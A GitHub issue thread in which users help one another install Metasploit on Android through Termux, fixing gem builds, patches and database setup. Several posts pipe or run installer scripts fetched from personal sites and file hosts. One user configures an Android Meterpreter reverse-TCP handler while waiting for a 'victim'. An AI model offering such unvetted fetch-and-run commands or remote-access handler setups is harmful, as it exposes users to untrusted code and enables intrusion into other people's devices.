@Hax4us I installed metasploit manually ( or not from timwr's source ) So i might not be solve that issue . Have you tried installing metasploit using other method given on wiki ?

Kk bro now I will try your steps...plz give me your steps...or link of guide @Auxilus

Thnx but i will try your guide tomorrow but now I bypassed successfully github check error..
But I have new error...if anybody knows so...help plz...
intex aqua trend_2017-07-26-19-44-47

OK now there is no problem .did you use timrw code or rapid7 .

Because I don't want to waste my data because I have already rapid7 pkg getting error of network interface

Timrw code @Ashish882

OK it it will be work

I don't know bcz I have still errors

With timrw code alsi

Yes

@hax4us how You bypass GitHub check error?

Hi this is ali icant use metasploit i see gems problem and icant install gems fully i see exit code 1 and also icant remove them that file is remain! PLEASE HELP ME

Error picture
https://ibb.co/fwUPuk

Try bundle install again

Thank you dear tim but its not solved its stay that it was in past
And this image is after re installing bundle
On 27 Jul 2017 1:10 a.m., "Tim" notifications@github.com wrote:

Try bundle install again


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-318175835,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AU9PwvqvaDMiJQ97RxqJvuKf66t58kUIks5sR6RFgaJpZM4LyVa1
.

Please help me dear

On 27 Jul 2017 1:14 a.m., "Salehi Ali" salehiali44@gmail.com wrote:

Thank you dear tim but its not solved its stay that it was in past
And this image is after re installing bundle
On 27 Jul 2017 1:10 a.m., "Tim" notifications@github.com wrote:

Try bundle install again


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-318175835,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AU9PwvqvaDMiJQ97RxqJvuKf66t58kUIks5sR6RFgaJpZM4LyVa1
.

I re-install bundle but its not change its like past

After re-installing picture and also special thanks to Tim!

https://ibb.co/bSkEuk

Please help!

screenshot_20170727-110809
Whats a problem in My case?

@Auxilus bro...now i m trying your steps...but new error comes....when I hit the command..
gem unpack grpc -v 1.4.2
Gem grpc not installed nor fetchable
Now what I do..bro

@Hax4us that problem because you grpc is upgrade to v1.4.2,
try to edit the Gemfile.lock inside your metasploit directory, find and rename grpc (1.4.2) to be grpc (1.4.1),
and then try to unpack it again.
take a look my screen shoot below.
screenshot_20170727-133000

How about my problem?

On 27 Jul 2017 11:11 a.m., "kuburan" notifications@github.com wrote:

@Hax4us https://github.com/hax4us that problem because you grpc is
upgrade to v1.4.2,
try to edit the Gemfile.lock inside your metasploit directory, find and
rename grpc (1.4.2) to be grpc (1.4.1),
and then try to unpack it again.
take a look my screen shoot below.
[image: screenshot_20170727-133000]
https://user-images.githubusercontent.com/30179698/28657420-4c38017a-72d1-11e7-9b38-6bc6c299455b.png


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-318273402,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AU9PwibE6YB3mAd9iEnmmfQFs8PRRDyrks5sSDEsgaJpZM4LyVa1
.

@rboot071 im sorry. i don't have any idea mate,, because im using rapid7 packages.

WTF....see everybody....I think there is a linker prob in Android 5.1.1
intex aqua trend_2017-07-27-12-27-05

@kuburan @timwr
What a problem in my case? See above...i complete a gem installation .why this error comming while i run ./msfconsole

@techzindia , try apt update && apt upgrade && apt install ncurses

maybe the problem related with ncurses packages,,
try to apt-get install ncurses ncurses-utils ncurses-dev

Thanks @auxilus @kuburan
Thats my mistek ncurses-utils package is not installed in my termux
Again thanks

Np , @vishalbiswas @timwr https://pastebin.com/JgiBsBeh why I'm getting this error ?

@timwr when i put this code that you mentions above of
gem install nokogiri -- --using-system-libraries
I get this error help me plz
screenshot_20170727-134312

@ashish882 it should be gem install nokogiri -- --use-system-libraries

@Auxilus i still have the problem mate,, i try to use another port 3498, 65100, 8080. and i also try different ip but still failed
if i type "ifconfig -a" it will show me my local ip, and i use that ip to LHOST,
the error message
"[-] Handler failed to bind to (my ip):4444:- -" is gone,, but the console still stuck. not show anything information about my victim.
here the result :

$ ./msfconsole
msf > use exploit/multi/handler\r
msf exploit(handler) > set payload android/meterpreter/reverse_tcp\r
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST (my ip)
LHOST => (my ip)
msf exploit(handler) > set LPORT 8080\r
LPORT =>8080
msf exploit(handler) > exploit\r

[] Started reverse TCP handler on (my ip):8080
[] Starting the payload handler...
^C[-] Exploit failed: Interrupt
[*] Exploit completed, but no session was created.

are you ever try use payload "meterpreter/reverse_tcp" in termux ?

i need help

Thanks @Auxilus

@kuburan please join Termux IRC channel at freenode
Type #Termux in channel field

@Auxilus I again get error in 2nd last command of @timwr
bundle install --gemfile Gemfile.local
screenshot_20170727-140007

@ashish882 try bundle install -j5

@Auxilus now this error
screenshot_20170727-140425

Do as it says ek Gemfile.lock then bundle install -j5

Why don't you just copy and paste the commands I provided in a fresh install? So much easier

Every one plz join gitter

So you don't have to upload screenshot Everytime and comment on the issue ..

I am saying that whence I write it give error sees.
. bundle install -j5
Your lockfile is unreadable. Run rm Gemfile.lock and then
bundle install to generate a new lockfile.

@Ashish882 please do https://github.com/termux/termux-packages/issues/715#issuecomment-318025485 ,see if it helps

I check but don't find any for tis error
bundle install --gemfile Gemfile.local

[!] There was an error parsing Gemfile.local: No such file or directory @ rb_sysopen - /data/data/com.termux/files/home/metasploit-framework-4.14.28/Gemfile.local. Bundler cannot contin

@timwr help I getting error in your 2nd last command thanks @Auxilus

I think I have to install network_interfaces
To run above command help me for network_interface

I have the second opinion, try to rename Gemfile.local.example file in your metasploit directory, to be "Gemfile.local",
and try to ,,
bundle install --gemfile Gemfile.local

OK but when input this command gem install network_interface -v '0.0.1'

It give error how to resolve with this error

patch that network interface, follow this wiki that was @vishalbiswas created

It is diffult to understand is there any alternative of network_interface

I have the second option, first you must unpack network interface,

gem unpack network_interface
cd network_interface-0.0.1
sed 's|git ls-files|find -type f|' -i network_interface.gemspec

and edit "netifaces.c" file using nano , and search " *pfreq = ifc.CNAME(ifc_req);" lines,,, you just need to delete the * symbol before pfreq. and then save and exit.
the netifaces.c file located in /ext/network_interface_ext/

and then

gem build network_interface.gemspec
gem install network_interface-0.0.1.gem
cd ..
rm -r network_interface-0.0.1

its simple way man..

Yes I know but can you tell how edit the file with nano I don't know how to edit file in termux @kuburan

@Kuburan this method is long i short them
I patche network_interface-0.0.1 And Make A zip And uploaded​!!
1) cd metasploit-framework
2)wget http://download608.mediafire.com/j4e9a4t4fawg/k4g5jad47903ob6/network_interface-0.0.1.zip
3)unzip network_interface-0.0.1
4)cd network_interface-0.0.1
5)gem install network_interface-0.0.1.gem

OK I try

Yes @Techzindia you make way so easier, take that techzindia .zip file

@Techzindia

failed to find gem

Error

Give me a minute

@kuburan remove * ifreq and then when I do it again it give same error

You just need to delete the * symbol mate.

Yes I delet symbol

@Ashish882 bro try this
gem uninstall network_interace
gem unpack network_interface
cd network_interface-0.0.1
gem build network_interface.gemspec
gem install network_interface-0.0.1.gem
It worked for me..

OK I am trying I see above in screenshot you suceesfuly install network_interface I will follow your command @Hax4us

take a look this screen shoot
screenshot_20170727-173447

I see which command u use to edit it

Here gem uninstall network_interface gem unpack network_interface thenwget https://auxilus.github.io/netifaces.c patch network_interface-0.0.1/ext/network_interface_ext/netifaces.c < netifaces.c then CD in network interfere dir , then gem build network_interface.gemspec gem install network_interface-0.0.1.gem

BTW vim [filename] to open editor , press i to enable write mode Esc+:+wq to write and quite file

OK I am trying

Error no such file or directory

Every 1 , please join gitter Termux to make our lives easier !!

How to or where to jion

Play store

I jion

Can anybudy guide me how to remove * from *pfreq with nano

Auxilis I have this problem please solve it !!!
First Error picture

https://ibb.co/krr50Q

running bundle install error

https://ibb.co/mkdSfQ

please help

@Auxilus how can i install grpc without getting errors? reply fast

Follow grpc section on wiki

Auxilus help me please!

@rboot071 Please upload images here, Dont put Images on other websites, your image links are not loading...

Some one he
![Uploading Screenshot_20170727-221456.png…]hel
screenshot_20170727-221418
p

Now getting gprc error

https://pastebin.com/2bbjyvLQ

Help to resolve this error

I wanna tell you a lil magic trick y'all , there is nice page with nice instructions on how to install metasploit , if you don't have any imp stuff in termux , uninstall and reinstall Termux , then follow these steps precisely ! , And hey , guess what , you have metasploit, ( you might have to change grpc version in gemfile.lock from 1.4.2 to 1.4.1 )

I built a script using the wiki steps which installs metasploit automatically, can anyone test it ?
Here is the code to execute the script

cd $HOME && wget https://Auxilus.github.io/metasploit.sh && chmod 777 metasploit.sh && termux-fix-shebang metasploit.sh && ./metasploit.sh

I suggest to perform rm -r metasploit-framework if you already have it

s70728-135604
@Auxilus please help me, I'm install python but after 96% complet, it stopped. it doesn't depkg.... why???
I've already re-install termux many times.

Try installing python separately

okk, thank you @Auxilus

can i install metasploit using Ubuntu????

@themastersunil ...yes u can...and plz join gitter ..for easy chat....goto playstore and install gitter ..then search for channel termux in gitter app..then join

ok

tmpdoodle1501237231820
i am sucessfuly install ur code sir but not start my device not rooted ..Auxilus..

Run bundle install -j5

ok

tmpdoodle1501238019567
Auxilus nope

@trick765 Bro , uninstall Termux , reinstall it from Google store , then execute cd $HOME && wget https://Auxilus.github.io/metasploit.sh && chmod 777 metasploit.sh && termux-fix-shebang metasploit.sh && ./metasploit.sh
It will install metasploit without errors

ok i am try one more time

img-20170728-wa0067
img-20170728-wa0068
img-20170728-wa0065
What's​ a problem in termux whilebi run ./msfconsole

Bro there is a problem in your patch ..I m talking about network interface.....

I'll look it up in half an hour

Uninstall Termux and install again..then try @Auxilus script or u can try my....curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh
Self tested script just chmod 777 metasploit.sh
Then ./metasploit.sh
And then cd metasploit-framework-4.14.28
Then ./msfconsole

thanks bro i am doneit Hax4us

thanks Hax4us!!! :D

screenshot_20170729-104604
screenshot_20170729-110100
Error while install network_interface from metasploit wiki

@Techzindia why r u not using my script...why r u making things hard....just use and enjoy...viral bro

@hax4us u right bro but the actual problem is in patch ...and Contact me on Whatsapp 😉😉😉

Beautiful Script @Hax4us

How to run metasploit msfconsol anyone help me

@bilalmkhalil cd into Metasploit directory, the start Metasploit using ./msfconsole

@Auxilus when I browse metasploit in termux and type ./msfconsol but don't work and getting that bash: ./msfconsol: No such file or directory

@bilalmkhalil its your spelling mistek type ./msfconsole not ./msfvonsol

Its./msfconsole bro

@techzindia ./msfconsole' stiil not working and again getting thatbash: ./msfconsol: No such file or directory`

@bilalmkhalil just reinstall it. I'd prefer using @Hax4us script as its much less work and commands. I had the same problem and reinstalling seems to have worked things out for me.

Also I Have a non-rooted phone and sorry for spelling mistake but still don't working ./msfconsole

@bilalmkhalil I use a non-rooted phone too brother. That's not the problem. Just reinstall it.

@bilalmkhalil r u share...u r in metasploit folder...

@Hax4us yeah I'm sure and now trying your script

Guys tell me how can i install SEToolkit

@bilalmkhalil.....before trying my script...I strongly recommend u that uninstall termux and reinstall....then run my script

Please, paste here step-by-step installation for noob like me.

@wrench404 There is a wiki which includes step-by-step installation instructions,

If you dont want to install Metasploit manually, there is a shell script which automates the installation.

You can run script using cd $HOME && curl -L https://Auxilus.github.io/metasploit.sh | bash

I have an issue: I can't run script without root.

Try cd $HOME
wget https://Auxilus.github.io/metasploit.sh
chmod 777 metasploit.sh
./metasploit.sh

Yes, it works!🙌

Woops, again " permission denied"

You ran chmod command?

Yes

There also errors with apt.

Can you post screenshot?

screenshot_2017-07-31-13-06-12
screenshot_2017-07-31-13-06-08
screenshot_2017-07-31-13-06-01
screenshot_2017-07-31-13-05-54
screenshot_2017-07-31-13-05-51
screenshot_2017-07-31-13-04-14

Try uninstalling and reinstalling termux.

Again segmentation fault

Thanks @Auxilus , @vishalbiswas vishalbiswas & @timwr for the code and running metasploit

Can anyone help me. im having a segmentation fault when i run ./msfconsole

@kudzie567 Uninstall Termux and install again..then try this script ...
curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh
Self tested script just chmod 777 metasploit.sh
Then ./metasploit.sh
And then cd metasploit-framework-4.14.28
Then ./msfconsole

screenshot_20170805-104112

I got this error :(. How to fix this? By the way @Auxilus. I used your auto install in the wiki

screenshot_20170805-114615
=====Install Metasploit on Android Using Termux=====
1.Download Termux on Google Playstore (if have it already, please reinstall it)

2.Wait for the installation then run:
apt update && apt upgrade -y
apt update && apt upgrade
apt install autoconf bison clang coreutils curl findutils git apr apr-util libffi-dev libgmp-dev libpcap-dev postgresql-dev readline-dev libsqlite-dev openssl-dev libtool libxml2-dev libxslt-dev ncurses-dev pkg-config postgresql-contrib wget make ruby-dev libgrpc-dev termux-tools ncurses-utils ncurses

3 .Then lets clone the metasploit framework forked by timwr:
git clone https://github.com/timwr/metasploit-framework --depth 1
cd metasploit-framework

4.Lets install the required gems:
gem install bundler
gem install nokogiri -- --use-system-libraries

5.Network_Interfaces:
cd $HOME
gem unpack network_interface
cd network_interface-0.0.1
sed 's|git ls-files|find -type f|' -i network_interface.gemspec
curl -L https://wiki.termux.com/images/6/6b/Netifaces.patch -o netifaces.patch
patch -p1 < netifaces.patch
gem build network_interface.gemspec
gem install network_interface-0.0.1.gem
cd ..
rm -r network_interface-0.0.1

5.GRPC:
cd metasploit-framework
sed 's|grpc (.*|grpc (1.4.1)|g' -i Gemfile.lock
gem unpack grpc -v 1.4.1
cd grpc-1.4.1
curl -LO https://raw.githubusercontent.com/grpc/grpc/v1.4.1/grpc.gemspec
curl -L https://wiki.termux.com/images/b/bf/Grpc_extconf.patch -o extconf.patch
patch -p1 < extconf.patch
gem build grpc.gemspec
gem install grpc-1.4.1.gem
cd ..
rm -r grpc-1.4.1

6.Install the metasploit required gems:
bundle install -j5
$PREFIX/bin/find -type f -executable -exec termux-fix-shebang {} \;

Thanks to sir @timwr and @Auxilus. By the way how to setup postgresql for msfd? I dont have it

@cr4shcod3 you tried the step suggested in error? i.e gem install rbnacl-libsodium - v '1.0.11'?

@Auxilus no sir

@Auxilus can you message me in facebook if you have one? https://www.facebook.com/EdwardKevinTorvalds I want to talk to you

Thanks @Auxilus for this working metasploit on android . I used @Hax4us script worked perfectly .
I just need help with connecting metasploit to msf database .
"db_status" returned this : [*] postgresql selected, no connection . and when using "./msfd init" nothing happened .
Need your help guys . thanks again

Use this script

cd $HOME && initdb -D msfu && pg_ctl start -D msfu && createuser msf -P && createdb --owner=msf msfdb && cat > /path/to/metasploit/config/database.yml << EOF
production:
adapter: postgresql
database: msfdb
username: msfu
password: yourmsfpassword
host: 127.0.0.1
port: 5432
pool: 75
timeout: 5
EOF

Just correct the indentation

Thanks @cr4shcod3 but : i still got this when running "db_status" postgresql selected, no connection
When i use "db_connect msfu:[email protected]:5432/msfdb" i got this :
Error while running command db_connect: Failed to connect to the database: FATAL: role "msfu" does not exist
What is the problem here ?

Did you run the script in one column?

I think i did
img_20170812_020932

mkdir ~/.msfdb && initdb ~/.msfdb && pg_ctl -D ~/.msfdb -l ~/.msfdb/msfdb.log start && createuser msf && createdb msfdb && pg_ctl -D ~/.msfdb -l ~/.msfdb/msfdb.log stop

After launched msfconsole , type "db_connect msf@msfdb" , then type "db_status" to check database connection status.

You should start the database service before you execute msfconsole ,type "pg_ctl -D ~/.msfdb -l ~/.msfdb/msfdb.log start".

@Droid-MAX this is what i got when runing your script :

The files belonging to this database system will be owned by user "u0_a178".
This user must also own the server process.

The database cluster will be initialized with locale "C.UTF-8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /data/data/com.termux/files/home/.msfdb ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting dynamic shared memory implementation ... sysv
creating configuration files ... ok
running bootstrap script ... ok
performing post-bootstrap initialization ... ok
syncing data to disk ... ok

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the option -A, or
--auth-local and --auth-host, the next time you run initdb.
Success. You can now start the database server using:

pg_ctl -D /data/data/com.termux/files/home/.msfdb -l logfile start

server starting
createuser: could not connect to database postgres: could not connect to server: No such file or directory
Is the server running locally and accepting
connections on Unix domain socket "/data/data/com.termux/files/usr/tmp//.s.PGSQL.5432"?
$

" gem install rbnacl-libsodium - v '1.0.11' " in termux-chroot environment will be successful , You should install proot and execute termux-chroot before you execute " gem install rbnacl-libsodium - v '1.0.11' ".

If you fail to connect to the database or create a database error, you should check the "msfdb.log" log file, type "cat ~/.msfdb/msfdb.log".

Or you can completely delete the ~/.msfdb directory and try again as I say.

@Droid-MAX i just had to execute the commands in your script one by one .and it worked :

msf > db_status
[*] postgresql connected to msfdb

Thanks a lot

@Auxilus
Hello ,I have installed msf(version is metasploit v4.14.28-dev ). and It works well, but I have no idea how to update it .
when I try to run msfupdate ,it shows like this:

msf > sh tools/msf/msfupdate
[*] exec: sh tools/msf/msfupdate
tools/msf/msfupdate: 11: tools/msf/msfupdate: msfbase: not found
tools/msf/msfupdate: 12: tools/msf/msfupdate: Syntax error: word unexpected (expecting ")")`

and run ./msfupdate ,it shows like this:

[] Attempting to update the Metasploit Framework...
[
]
./tools/msf/msfupdate:145:in block in run!': Cannot determine checkout type:./tools/msf' (RuntimeError)
from ./tools/msf/msfupdate:136:in chdir' from ./tools/msf/msfupdate:136:inrun!'
from ./tools/msf/msfupdate:316:in <main>'

could you mind tell me how to update msf with termux?
thanks

@sasudo Also such problem.

By the way, There are 2 small problems.
1) In the input line \rmsf \r is written, When I press enter or space.
2) At startup msfconsole written WARNING: linker: pg_ext.so: unused DT entry: type 0xf arg 0x16ae
How to fix this?

@Deathlive I have fixed 3 problems ,
1 run ./msfd init after postgersql start;
2 and 3,follow this video

https://www.youtube.com/channel/UCIDNGto4ovSZthfJ4PbKrBQ

one more thing 👍
alias msf="pg_ctl -D $PREFIX/var/lib/postgresql start && ~/tools/msf/msfconsole"

@Droid-MAX thanks and Have you tried ?

I have read the install.sh
in Line 13 14 15 ,so I will not work . @Droid-MAX Maybe we should fix msfupdate ~

curl -LO https://Auxilus.github.io/4.14.21.zip unzip 4.14.21.zip mv metasploit-framework-4.14.21 metasploit-framework

problem weird carriage return character "\r" because rb-readline 0.5.4, to fix this you need upgrade to rb-readline 0.5.5,,,
and about linker warning, you need install termux-elf-cleaner package. and cleaning the "Unused DT entry"

Anyone tried installing rbnacl-libsodium?

I've updated the wiki for the installation of latest version (4.16.2) without rbnacl-libsodium.. Also rb-readline dependency added for version (0.5.5)

How to maek, Automatic connection to the database? db_connect msf@msfbd

@Deathlive we dont have clear steps for database connection yet..

@Auxilus i managed this problem,

step 1 :
we need install libsodium-dev
$ apt install -y libsodium-dev

step 2 :
$ gem unpack rbnacl-libsodium
$ cd rbnacl-libsodium-1.0.13
$ termux-fix-shebang ./vendor/libsodium/configure ./vendor/libsodium/build-aux/*

step 3 :
edit rbnacl-libsodium.gemspec file, and go to line 22.

(-) spec.add_runtime_dependency "rbnacl", ">= 3.0.1"
(+) spec.add_runtime_dependency "rbnacl", "~> 3.0", ">= 3.0.1"

(-) spec.add_development_dependency "rake", ">= 10"
(+) spec.add_development_dependency "rake", "~> 10"

step 4 :
$ cd ./vendor/libsodium
and edit configure file, go to line 2334 (the main problem is in here, line 2334)

(+) SHELL="/data/data/com.termux/files/usr/bin/sh"
(-) ac_aux_dir=
(+) ac_aux_dir="./build-aux"
for ac_dir in build-aux "$srcdir"/build-aux; do
if test -f "$ac_dir/install-sh"; then
ac_aux_dir=$ac_dir
ac_install_sh="$ac_aux_dir/install-sh -c"
break

step 5 :
$ cd ../..
$ gem build rbnacl-libsodium.gemspec
$ gem install rbnacl-libsodium-1.0.13.gem
$ cd ..
$ rm -fr rbnacl-libsodium-1.0.13

screenshot_20170827-145951

Nice work @kuburan, I'll try out these steps and add to wiki...

screenshot_20170827-153414
@kuburan im getting errors..

@Auxilus You did something wrong, I managed.
Follow the instructions, on step 4 → ac_aux_dir= is 2318 line. SHELL="/data/data/com.termux/files/usr/bin/sh" copy\past in 2317 line.
And further on instructions.

Nope.. Still got the errors.

@Auxilus the configure file should be like this. see below !
SHELL="/data/data/com.termux/files/usr/bin/sh"
ac_aux_dir="./build-aux"

screenshot_20170827-204619

@kuburan I've added rbnacl-libsodium installation steps to wiki, please take a look at it and tell me if there are any errors.
https://wiki.termux.com/wiki/Metasploit#rbnacl-libsodium

@Auxilus you do it 2 mistakes.

first,
patch /vendor/libsodium/configure < configure.patch error : no such file or directory.
so you need add . (dot) before / (slash) to open the subfolder
like this.
patch ./vendor/libsodium/configure < configure.patch

second,
error in your configure.patch file
Hunk 1 FAILED 1/1.
because /bin/sh it was done by termux-fix-shebang at step before patching
this step : termux-fix-shebang ./vendor/libsodium/configure ./vendor/libsodium/build-aux/*

screenshot_20170827-221322

So do termux-fix-shebang after patching?

no, not like that. we do termux-fix-shebang before patching.
i mean a little wrong in your configure.patch file
mine like this, see below.

screenshot_20170827-233410

@kuburan Check it out now...

Also see if rbnacl-libsodium section is correct...

I can't install Metasploit in termux properly it shows ROSS_FILESYSTEM not set).
Could not find i18n-0.8.4 in any of the sources
Run bundle install to install missing gems. Please help there
screenshot_2017-08-29-10-36-29-400_com termux

@Raushan26 I advise you to follow official wiki https://wiki.termux.com/wiki/Metasploit , see if it helps..

Guyz. Im having an error. When i gem unpack network_interfaces the output is network_interfaces-0.0.2 not 0.0.1 when metasploit framework depends on 0.0.1

metasploit latest version (4.16.4) using network_interface 0.0.2 . just skip pacting network_interface 0.0.1

network_interface-0.0.2 doesn't need manual installation , so if you are
using latest clone of metasploit-framework, you don't need 0.0.1 to install
manually.

BTW have anyone tried automatic installation script ( updated after network_interface0. 0.2 release)?

not yet,

Can you try it please?

How can I properly install network_interface-0.0.2?

gem install network_interface -v 0.0.2

@Auxilus , add metasploit ver. 4.16.4 in your script to get it working with network_interface 0.0.2.

@gittheclone, I'll do it right away

@Auxilus The Network_Interface 0.0.2 is already installed in msf4, and it should not be installed?

Error when running metasploit
Did everything from the wiki.

fish: 'ruby msfconsole' terminated by signal SIGSEGV (Address boundary error)

zsh: segmentation fault ruby msfconsolensole.../

How to fix this?

@Deathlive it should be, also have you tried the script?

Can anyone can fix network interface 0.0.1 ?? Can't build gem please help

network_interface got bumped to 0.0.2 now you can install it by gem install network_interface

@ChristianCarvs grap the latest metasploit-framework, it uses network_interace 0.0.2

Any way to run metasploit tools like msfvenom, msfconsole, etc. directly from the home directory without having to go through "cd metasploit-framework" ?

@GitTheClone Just create a symlink bro...like
ln -s $HOME/metasploit-framework/msfconsole $PREFIX/bin
Now u can use msfconsole from any where

@Hax4us thanks, it works now.

@timwr sir can u give me a tutorial how to install metasploit framework again ?? Please

Can anyone help me?? i finish installing latest metasploit framework but when i run ./msfconsole
[] Starting the MetaspLoit Framework conso[] Starting the MetasplOit Framework conso[] Starting the MetasploIt Framework conso[] Starting the MetasploiT Framework conso[] Starting the Metasploit Framework conso[] Starting the Metasploit framework conso[] Starting the Metasploit FRamework conso[] Starting the Metasploit FrAmework conso[] Starting the Metasploit FraMework conso[] Starting the Metasploit FramEwork conso[] Starting the Metasploit FrameWork conso[] Starting the Metasploit FramewOrk conso[] Starting the Metasploit FramewoRk conso[] Starting the Metasploit FrameworK conso[] Starting the Metasploit Framework conso[] Starting the Metasploit Framework Conso[] Starting the Metasploit Framework cOnso[] Starting the Metasploit Framework coNso[] Starting the Metasploit Framework conSo[] Starting the Metasploit Framework consO[] Starting the Metasploit Framework conso[] Starting the Metasploit Framework conso[] Starting the Metasploit Framework conso[] Starting the Metasploit Framework conso[] Starting the Metasploit Framework conso[] Starting the Metasploit Framework conso[*] Starting the Metasploit Framework consoSegmentation fault
$

Its stop in "Segmentation Fault"

@ChristianCarvs
New version Metasploit 4.16.4, is not worked in Termux.
Install Metasploit 4.14.38 version.
Use this Instruction
https://github.com/termux/termux-packages/issues/715#issuecomment-320397410

@Deathlive I m using 4.16.2

@Hax4us I used this https://github.com/Deathlive/Storm/blob/master/script/msf.sh script and install latest version Metasploit, but this dont start. Writen segmentation fault ruby msfconsolensole.../
Script created using the wiki.

the latest version 4.16.4 work well for me, just follow steps given in wiki

screenshot_20170905-231707

@kuburan You installed network_interfac 0.0.1 or 0.02?
And how to make autoconnect to database, in startup?

in the latest version automaticaly installed network_interface 0.0.2, just skip patching v 0.0.1

follow everything in wiki, try to clone their repo, don't downloaded the tarball.

after succesfully setup postgresql database, create file named database.yml in $HOME/.msf4 directory.

screenshot_20170906-000604

@kuburan Okay thanks,
Does msfupdate work for you? Suppose if added a new version metasploit, you update via msfupdate or install git clone and gem builder... ?

@Deathlive yes msfupdate work for me., absolutely i'm updating via msfupdate

@kuburan
No, Msfconsole do not work:(
I tried everything, all the options, did everything by the wiki and
Segmentation faultetasploit Framework conSole.../

1)Install git clone https://github.com/rapid7/metasploit-framework
2)cd metasploit-framework
3)gem install bundler
4)Install rbnacl-libsodium
5)gem install nokogiri -- --use-system-libraries
6)grpc
7)bundle install -j5
8)$PREFIX/bin/find -type f -executable -exec termux-fix-shebang \{\} \;

Everything was done right, why does not it work?
Did i miss anything?

@kuburan can u send me the website of the metasploit framework wiki ??

@Auxilus thanks but i try using it but i cannot open metasploit framework because of error "Segmentation faultetasploit" please help to solve it

Have you tried automatic installation script on wiki?

@Auxilus yes but not successful because of many errors encountered

Can you post screenshot of errors?

@Auxilus ok ! I try to install it again

@Auxilus #
screenshot_2017-09-06-17-35-53

And
screenshot_2017-09-06-17-35-57

@Auxilus that's my problem

@ChristianCarvs can you try cd $HOME && curl -L https://Auxilus.github.io/metasploit_test.sh | bash

@Auxilus same problem

I'll take a look, stay tuned

Ok thanks for that, im using arm device with android lollipop 5.1

@ChristianCarvs bro can u try this......tested by more than .100 people
curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh && sh metasploit.sh

And auxilus...bro there is one mistake in your script plz..fix .as soon as possible...look at tar -xf 4.16.4....it should be 4.16.2

@Hax4us thanks for pointing it out!

@Hax4us thanks for that

@Hax4us i find out that your script has network interface 0.0.1 ?? How to fix it can't build network interface

@ChristianCarvs @Hax4us main script should be fixed now

@ChristianCarvs try the script on wiki (not the testing one)

@Auxilus ok

You can now directly use msfconsole rather than running it as ./msfconsole

@Auxilus were i can use?? The automatic install script or the manual?

Automatic
Cd to $HOME, then exec curl -L https://Auxilus.github.io/metasploit.sh | bash

@Deathlive. segmentation fault is weird,, i don't have any problem installing using steps given in wiki..

@Auxilus
I used this script https://Auxilus.github.io/metasploit.sh ,
but Segmentation faultetasploit Framework console...|
Look this installation screenshot https://prnt.sc/ghxrbu

I see no error in this screenshot, I see that you have all the gems
installed and you can do ./msfconsole now...

@Auxilus
During the installation, there was no error.I installed everything manually.
But https://prnt.sc/ghy20d

@Auxilus sir the script i tried was successful but when i type ./msfconsole it stop because of segmention fault
screenshot_2017-09-07-10-16-36

@ChristianCarvs maybe @timwr, @kuburan or @vishalbiswas can help you cz I got no experience with segfault errors

@ChristianCarvs could be an issue with readline, try msfconsole -L?

how to set up postgresql and msfd ? i want detailed guide on this one.

@Deathlive I just tried to install metasplolit again with fresh termux installation, and i got V 4.16.5

can i see your Gemfile.lock file. maybe some gem file need to be upgraded to fix the problem.

@Deathlive i think your problem in rbnacl-libsodium. you can compare it beetwen your Gemfile.lock and the original Gemfile.lock at rapid7

reinstall rbnacl-libsodium :
$ gem uninstall rbnacl-libsodium
$ gem install rbnacl-libsodium

try to recompiling rbnacl-libsodium
but, skip this step :
$ sed 's|">= 3.0.1"|"~> 3.0", ">= 3.0.1"|g' -i rbnacl-libsodium.gemspec
$ sed 's|">= 10"|"~> 10"|g' -i rbnacl-libsodium.gemspec

@kuburan
Also noticed that there is no rbnacl and rbnacl-libsoidum.
I removed rbnacl-libsodium, later used termux-chroot and gem install rbnacl-libsodium rbnacl
Building native extensions. This could take a while...
Successfully installed rbnacl-libsodium-1.0.13
1 gem installed

But again up the error of the Segmentation faultetasploit Framework console.../
terminated by signal SIGSEGV == Segmentation fault.

http://prntscr.com/gi8es1

I removed rbnacl-libsodium from gemfile and gemspec.

The problem is not in rbnacl-libsodium.
1) https://prnt.sc/gi8ql3
2) https://prnt.sc/gi8qvl

What is the difference between this version 1) https://github.com/termux/termux-packages/issues/715#issuecomment-320478903
and this 2) https://Auxilus.github.io/metasploit.sh

When I install the first option by instructions all works, but 2 version == Segmentation Fault.
What is the difference? Except versions 1→ 4.14 , 2→ 4.16.4.

@Deathlive diff is, steps in comments uses @timwr 's metasploit-framework fork for installation and the script uses metasploit-framework releases from rapid7.

@Auxilus
The latest version metasploit precisely works for you?
I installed msf so...

1) git clone git clone https://github.com/timwr/metasploit-framework
2) gem install bundler
gem install nokogiri -- --use-system-libraries
3) nano Gemfile.lock → fix network_interface (0.0.2) → fix rb-readline (0.5.5)
4) install grp by https://wiki.termux.com/wiki/Metasploit_Framework#grpc
5) bundle install -j5 ---> ruby msfconsole --->Metasploit is started, this version 4.14

6) I use ruby msfupdate, but Error for install rbnacl-libsodium 1.0.13
7) Termux-chroot, gem install rvnacl-libsodium -v '1.0.13' → Successful 1 gem install.
8) again use ruby msfupdate → finishes successfully.
9) ruby msfconsole == Segmentation faultetasploit Framework console.../

That's what I'm doing wrong?
I'm not sure what, Is the latest version metasploit working in termux.

I dont recommend using clone cz it might have some bugs, thats why i use
tarball, tbh ive tested metasploit-framework uptill version 4.16.2

I tried all the installation options(git clone, tar ...) anyway an error.
Is it necessary to install rbnacl-libsodium across wiki, why patches are needed if it work and through termux-chroot?
and if so then do really need these 2 lines
sed 's|">= 3.0.1"|"~> 3.0", ">= 3.0.1"|g' -i rbnacl-libsodium.gemspec
sed 's|">= 10"|"~> 10"|g' -i rbnacl-libsodium.gemspec

You can always disable rbnacl-libsodium if thats what causing segfault

In this and the problem:)
I do not know what causes this segfault.

